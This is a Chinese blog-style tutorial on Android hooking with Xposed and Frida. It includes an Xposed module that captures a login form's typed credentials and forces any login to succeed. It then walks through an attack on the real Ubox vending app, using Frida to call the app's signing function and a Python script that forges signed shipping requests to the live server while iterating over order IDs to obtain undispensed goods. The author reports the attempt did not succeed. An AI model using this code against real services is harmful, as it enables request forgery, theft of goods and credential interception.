浅谈android hook技术
前言
在测试android过程中，能对函数进行hook能帮助更加深入的进行测试，本文简单介绍了hook框架xposed和frida，从简单的小例子做了简单的演示，算是自己的学习的过程，是个入门的过程。
xposed，主页：http://repo.xposed.info/module/de.robv.android.xposed.installer是个开源的框架，在github上有源码的，直接下载apk后安装激活就可以使用，很多地方有这方面的教程，针对不同的手机架构，有大牛做了针对性的修改。可以在论坛中进行搜索，通过替换/system/bin/app_process程序控制zygote进程，使得app_process在启动过程中会加载XposedBridge.jar这个jar包，从而完成对Zygote进程及其创建的Dalvik虚拟机的劫持。
Xposed在开机的时候完成对所有的Hook Function的劫持，在原Function执行的前后加上自定义代码，很多人将这个框架用在对android的私有化定制上面，其实在android安全测试方面这个框架提供了很大的便利，xposed主要是对方法的hook，在以往的重打包技术中，需要对smali代码的进行修改，修改起来比较麻烦。
利用xposed框架可以很容易的获取到android应用中的信息，比如加密私钥、salt值等等，不需要反编译获取密钥转换算法、不需要了解密钥保存机制，直接hook函数，获取输入输出就可以。
在Android系统中，应用程序进程都是由Zygote进程孵化出来的，而Zygote进程是由Init进程启动的。Zygote进程在启动时会创建一个Dalvik虚拟机实例，每当它孵化一个新的应用程序进程时，都会将这个Dalvik虚拟机实例复制到新的应用程序进程里面去，从而使得每一个应用程序进程都有一个独立的Dalvik虚拟机实例。这也是Xposed选择替换app_process的原因。
Zygote进程在启动的过程中，除了会创建一个Dalvik虚拟机实例之外，还会将Java运行时库加载到进程中来，以及注册一些Android核心类的JNI方法来前面创建的Dalvik虚拟机实例中去。注意，一个应用程序进程被Zygote进程孵化出来的时候，不仅会获得Zygote进程中的Dalvik虚拟机实例拷贝，还会与Zygote一起共享Java运行时库。这也就是可以将XposedBridge这个jar包加载到每一个Android应用程序中的原因。XposedBridge有一个私有的Native（JNI）方法hookMethodNative，这个方法也在app_process中使用。这个函数提供一个方法对象利用Java的Reflection机制来对内置方法覆写。有能力的可以针对xposed的源码进行分析，不得不说，作者对于android的机制和java的了解已经相当深入了。
很简单的一个android登入代码：
public class MainActivity extends AppCompatActivity { private TextView accountView; private TextView passwdView; private Button loginBut; private Button quitBut; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); accountView = (TextView) findViewById(R.id.account); passwdView = (TextView) findViewById(R.id.pwd); loginBut = (Button) findViewById(R.id.login); quitBut = (Button) findViewById(R.id.quit); loginBut.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String username = accountView.getText() + ""; String password = passwdView.getText() + ""; if(isCorrectInfo(username,password)){ Toast.makeText(MainActivity.this,"登入成功",Toast.LENGTH_LONG).show(); } else{ Toast.makeText(MainActivity.this,"登入失败",Toast.LENGTH_LONG).show(); } } }); } public boolean isCorrectInfo(String username, String password) { if(username.equals("admin") && password.equals("passwd")){ return true; } else{ return false; } }}
很简单的就是判断下用户输入的用户名和密码是正确，这里做个简单的演示，将用户输入的用户名和密码信息hook出来不管正确与否
简单说下xposed模块的开发，首先需要的是导入api，具体的可以参考：https://github.com/rovo89/XposedBridge/wiki/Using-the-Xposed-Framework-API
在manifest中定义
<application android:label="xposed"> <meta-data android:name="xposedmodule" android:value="true" /> <meta-data android:name="xposeddescription" android:value="hook test" /> <meta-data android:name="xposedminversion" android:value="82" /> </application>
声明这个是xposed模块，名称为hook test 并且使用api版本号是82
下面创建运行时候的hook代码：
package com.example.xposed;import java.util.List;import de.robv.android.xposed.IXposedHookLoadPackage;import de.robv.android.xposed.XC_MethodHook;import de.robv.android.xposed.XposedBridge;import de.robv.android.xposed.callbacks.XC_LoadPackage;import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;public class Main implements IXposedHookLoadPackage { // 包加载的时候回调 public void handleLoadPackage(final XC_LoadPackage.LoadPackageParam lpparam) throws Throwable { //过滤掉不是com.example.logintest的应用 if (!lpparam.packageName.equals("com.example.logintest")) return; XposedBridge.log("加载应用:" + lpparam.packageName); // Hook MainActivity 中的判断方法 findAndHookMethod("com.example.logintest.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,String.class new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { super.beforeHookedMethod(param); // XposedBridge.log("开始劫持~~~~"); // XposedBridge.log("参数1:" + param.args[0]); XposedBridge.log("参数2:" + param.args[1]); XposedBridge.log("修改登入数据~~~~");// 修改为正确的用户名密码 param.args[0]="admin"; param.args[1]="passwd"; } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable {// super.afterHookedMethod(param); XposedBridge.log("劫持结束~~~~");// XposedBridge.log("参数1:" + param.args[0]);// XposedBridge.log("参数2:" + param.args[1]); } }); }}
看代码中的注释，主要是三个方法的调用，handleLoadPackage，主要是获取到android包的相关信息，这里由于只是对logintest进行hook,做下简单的判断。
findAndHookMethod 是主要的hook入口，里面几个参数分别为包名，classloader，hook的函数名，参数类型（这个比较容易出错，比如list类型写为List.class）,回调函数
回调函数中比较重要的：beforeHookedMethod和afterHookedMethod，一个是在函数运行前劫持掉，一个是hook后放行，实例中对用户输入的字段进行劫持打印，后面将参数之改为正确登入用户名和密码，这样在app中输入任何字符都能登入成功
Frida是一款基于python + javascript 的hook框架，通杀android\ios\linux\win\osx等各平台，由于是基于脚本的交互，因此相比xposed和substrace cydia更加便捷，本文重点介绍Frida在android下面的使用。
Frida的官网为：http://www.frida.re/
安装Frida非常简单，在pc端直接执行
pip install frida
即可
在Android设备需要导入frida的服务端，需要root你的手机
$ curl -O http://build.frida.re/frida/android/arm/bin/frida-server$ chmod+x frida-server
$ adb push frida-server /data/local/tmp/
设备上运行frida-server:
$ adb shellroot@android:/ # chmod 700 frida-server$ adb shellroot@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下运行)
电脑上运行adb forward tcp转发:
adb forward tcp:27042 tcp:27042adb forward tcp:27043 tcp:27043
27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程.
运行如下命令验证是否成功安装:
$ frida-ps-R
正常情况应该输出进程列表如下:
PID NAME 1590 com.facebook.katana13194 com.facebook.katana:providers12326 com.facebook.orca13282 com.twitter.android
…
hook的主要模块是js编写的，利用javascript的api与server进行通信
下面结合一个真实例子进行简单的介绍，首先是测试代码：
# -*- coding:utf-8 -*-import frida, sys #引入frida类import logginglogging.basicConfig(filename='test.log', level=logging.INFO)reload(sys)sys.setdefaultencoding('utf-8') #对输出进行utf8的编码print sys.getdefaultencoding()def print_result(message): #对输出的信息进行打印 print message logging.info(message)def on_message(message, data): # 反调函数，用来接受message的信息，message后面会说到 try: print_result(message=message) except: passdid = "255601452" # 订单idtime = "1472706588" # 时间戳jscode = """ # 核心代码，这段主要是调用app中的相应处理函数，后面会分析这段代码的来源Dalvik.perform(function () { # 说明是Dalvik平台 var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); var context = currentApplication.getApplicationContext(); var signclass = Dalvik.use("com.ub.main.d.e");# 调用com.ub.main.d.e类 var signInstance=signclass.$new(context); # 反射创建一个新的对象 var sign=signInstance.a("255601452"); #调用对象的a函数 send(sign); #将调用函数的结果发送出来});"""#print jscodeprocess = frida.get_device_manager().enumerate_devices()[-1].attach("com.ub.main") # 获取连接的设备并枚举取最后一个设备连接，并附到com.ub.main的进程上面print processscript = process.create_script(jscode) # 调用相应的js函数，获取函数调用后的结果值script.on('message', on_message) # 利用回调，将message传递给on_message函数print "done"script.load()
对于上面的js代码，其实就是调用app中的某个函数，比如sign值生成函数，加密解密函数，不需要自己单独的去分析算法流程，分析key值在哪，直接调用app的相应函数，让app帮我们完成这些工作
这里我们分析的app是友宝，这是一款饮料售货机，当时抓包看到提货的时候是只有个订单id的，猜想是不是遍历订单的id，支付成功但是没有取货的订单会不会响应请求，自己掉货出来
下面对友宝的订单进行分析过程
1、抓取支付订单成功链接
http://monk.uboxol.com/morder/shipping?clientversion=5.7.2&machine_type=MI+5&os=6.0.1&channel_id=1&device_no=02:00:00:00:00:00&imei=869161021849708&device_id=2&u=32020&wake_id=0&net_type=1&carrier_type=1&s=4 postdata：sign=et09HgkvWcNc%2FTLe3E7Qj4j6MZEPbnm2zbCzJ3esTi0n6qo6T2RE6Qggh3rYytoTbKHGC1O3ghNPPZqoXSF%2FlzsRK2BnkLouKdZ%2BLnyZgdGrYgOyRv2piGOHnUwAhz5%2BUOWbH5ljMvNBgvTJwWsTy200bW2FAA%2BRkqNCn%2F4qIvo%3D&orderId=255601452×tamp=1472706588
分析：sign是校验值，主要是防止订单伪造的，orderid是产生的支付订单id，这个主要是防止伪造用
2、反编译友宝app
找到morder/shipping所在的包为：com/ub/main/d/e.class
其中localStringBuffer存储的就是url中的参数信息，该请求查找到的代码在a()
StringBuffer localStringBuffer = new StringBuffer(); localStringBuffer.append("clientversion"); localStringBuffer.append("="); try { localStringBuffer.append(Uri.encode(this.e.getPackageManager().getPackageInfo(this.e.getPackageName(), 0).versionName)); localStringBuffer.append("&"); localStringBuffer.append("machine_type"); localStringBuffer.append("="); localStringBuffer.append(Uri.encode(Build.MODEL)); localStringBuffer.append("&"); localStringBuffer.append("os"); localStringBuffer.append("="); localStringBuffer.append(Uri.encode(Build.VERSION.RELEASE)); localStringBuffer.append("&"); localStringBuffer.append("channel_id"); localStringBuffer.append("="); localStringBuffer.append(this.g.u()); localStringBuffer.append("&"); localStringBuffer.append("device_no"); localStringBuffer.append("="); Object localObject1 = ""; try { String str5 = Uri.encode(i.a(this.e)); localObject1 = str5; } catch (Exception localException1) { Object localObject2; for (;;) {} } localStringBuffer.append((String)localObject1); localStringBuffer.append("&"); localStringBuffer.append("imei"); localStringBuffer.append("="); localObject2 = ""; try { String str4 = Uri.encode(i.b(this.e)); localObject2 = str4; } catch (Exception localException2) { boolean bool; String str1; String str2; String str3; for (;;) {} } localStringBuffer.append((String)localObject2); localStringBuffer.append("&"); localStringBuffer.append("device_id"); localStringBuffer.append("="); localStringBuffer.append(Uri.encode("2")); localStringBuffer.append("&"); localStringBuffer.append("u"); localStringBuffer.append("="); localStringBuffer.append(Uri.encode(this.f.c())); localStringBuffer.append("&"); localStringBuffer.append("wake_id"); localStringBuffer.append("="); localStringBuffer.append("0"); localStringBuffer.append("&"); localStringBuffer.append("net_type"); localStringBuffer.append("="); localStringBuffer.append(i.g(this.e)); localStringBuffer.append("&"); localStringBuffer.append("carrier_type"); localStringBuffer.append("="); localStringBuffer.append(i.h(this.e)); bool = this.f.f(); str1 = this.f.l(); str2 = this.f.m(); if (bool) { str3 = "4"; l.a("weipeipei", "get参数---->isUboxAccount = " + bool + ", s = " + str3); localStringBuffer.append("&"); localStringBuffer.append("s"); localStringBuffer.append("="); localStringBuffer.append(str3); return localStringBuffer.toString().trim(); } } catch (PackageManager.NameNotFoundException localNameNotFoundException) { for (;;) { localNameNotFoundException.printStackTrace(); continue; if ((str1 != null) && (!str1.trim().equals(""))) { str3 = "2"; } else if ((str2 != null) && (!str2.trim().equals(""))) { str3 = "3"; } else { str3 = "0"; } } } }
生成签名的函数在com/ub/main/d/e.class中的b函数
public String b(String[][] paramArrayOfString)
输入的是一个array
上面的请求函数在：
public String a(String paramString) { String[][] arrayOfString = new String[2][]; arrayOfString[0] = { "orderId", paramString }; String[] arrayOfString1 = new String[2]; arrayOfString1[0] = "timestamp"; arrayOfString1[1] = d; arrayOfString[1] = arrayOfString1; return b(arrayOfString); }
最后加上sign值，发送请求
3、可以反编译出他的sign计算方法，也可以直接调用b函数来产生sign值，后来发现app会自动取时间戳，我们就不需要给他array型的参数，直接调用a函数，把orderId给他，让他直接return一个值出来就好了，就有了上面的js代码
4、自动化的批量处理
看代码
# __author__ = 'gaohe'# -*- coding:utf-8 -*-import frida, sysimport loggingimport requestslogging.basicConfig(filename='test.log', level=logging.INFO)reload(sys)sys.setdefaultencoding('utf-8')# print sys.getdefaultencoding()class ubox: def __init__(self): pass def request(self, payload): # print "requests" dict = {} url = "http://monk.uboxol.com/morder/shipping?clientversion=5.7.2&machine_type=MI+5&os=6.0.1&channel_id=1&device_no=02:00:00:00:00:00&imei=869161021849708&device_id=2&u=41493965&wake_id=0&net_type=1&carrier_type=1&s=4" for i in payload.split("&"): key = i.split("=")[0] value = i.split("=")[1] dict[key] = value data=dict r=requests.post(url=url,data=data) print r.text def print_result(self, message): # print message payload = message["payload"] print payload self.request(payload) def on_message(self, message, data): self.print_result(message=message) def fuzzing(self, did): jscode = """ Dalvik.perform(function () { var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); var context = currentApplication.getApplicationContext(); var signclass = Dalvik.use("com.ub.main.d.e"); var signInstance=signclass.$new(context); var sign=signInstance.a("%s"); send(sign); }); """ % did # print jscode process = frida.get_device_manager().enumerate_devices()[-1].attach("com.ub.main") # print process script = process.create_script(jscode) script.on('message', self.on_message) # print "done" script.load() # sys.stdin.read()ub = ubox()ub.fuzzing("255912964")
构造了一个类，后面直接fuzz uid就可以了，提取里面的sign值拼接到post数据中去
可以产生的post请求和抓到的数据包的请求是完全一样的，但是并没有测试成功，分析原因有可能是订单id和用户的id有所绑定。
不过学习到了怎样通过frida对app进行分析。
如果遇到函数的参数类型是数组、map、ArrayList类型的，首先目标MyClass类的fun1函数，声明如下：
public static boolean fun1(String[][] strAry, Map mp1, Map<String,String> mp2, Map<Integer, String> mp3, ArrayList<String> al1, ArrayList<Integer> al2, ArgClass ac)
解决方法：
用Xposed自身提供的XposedHelpers的findClass方法加载每一个类，然后再将得到的类传递给hook函数作参数！
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http://www.freebuf.com/articles/terminal/56453.html
http://bbs.pediy.com/showthread.php?t=202147&page=2
本文来自合作伙伴“阿里聚安全”，发表于2017年03月17日 10:06.
相关资源：敏捷开发V1.0.pptx
